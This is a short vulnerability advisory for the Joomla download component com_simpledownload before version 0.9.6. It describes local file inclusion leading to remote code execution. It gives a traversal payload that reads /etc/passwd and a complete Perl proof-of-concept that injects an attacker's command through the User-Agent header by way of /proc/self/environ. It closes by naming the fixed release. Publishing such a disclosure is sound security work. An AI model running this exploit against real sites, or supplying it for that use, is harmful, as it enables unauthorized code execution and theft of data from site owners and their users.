–[Description]–
A vulnerability has been found in the downloader component for Joomla. It can be exploited in various ways - from sensitive information disclosure to remote code execution.
Input passed to controller is not properly sanitized, allowing attacker to inject php code
via Local File Inclusion combined with Directory Traversal (/proc/self/environ method) and Null Byte Injection, leading to Remote Code Execution.
–[Vendor]–
http://joomla.joelrowley.com/
–[Vulnerable Version]–
com_simpledownload <0.9.6
–[Impact]–
Local File Inclusion
Directory Traversal
Remote Code Execution
–[LFI Exploit]–
/index2.php?option=com_simpledownload&controller=[LFI]%00
–[LFI PoC]–
/index2.php?option=com_simpledownload&controller=
./…/…/…/…/…/…/…/etc/passwd%00
–[RCE PoC]–
#!/usr/bin/perl -w
use LWP::UserAgent;
use Getopt::Std;
my %o=();
getopts("c:h:",\%o);
die "Usage: $0 -h target_host -c command\n" if ! (defined $o{h} && defined $o{c});
$o{h} =~ s/(http:\/\/)?(.*)/http:\/\/$2/;
my $url="/index2.php?option=com_simpledownload&controller=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/proc/self/environ%00";
my $lwp = LWP::UserAgent->new;
print $lwp->get($o{h}.$url, 'User-Agent'=>"$o{c}")->decoded_content;
–[Solution]–
Thanks to quick response from Joel Rowley
fix released in version 0.9.6 - upgrade
as soon as possible from:
http://extensions.joomla.org/extensions/directory-a-documentation/downloads/10717
–[EOF]–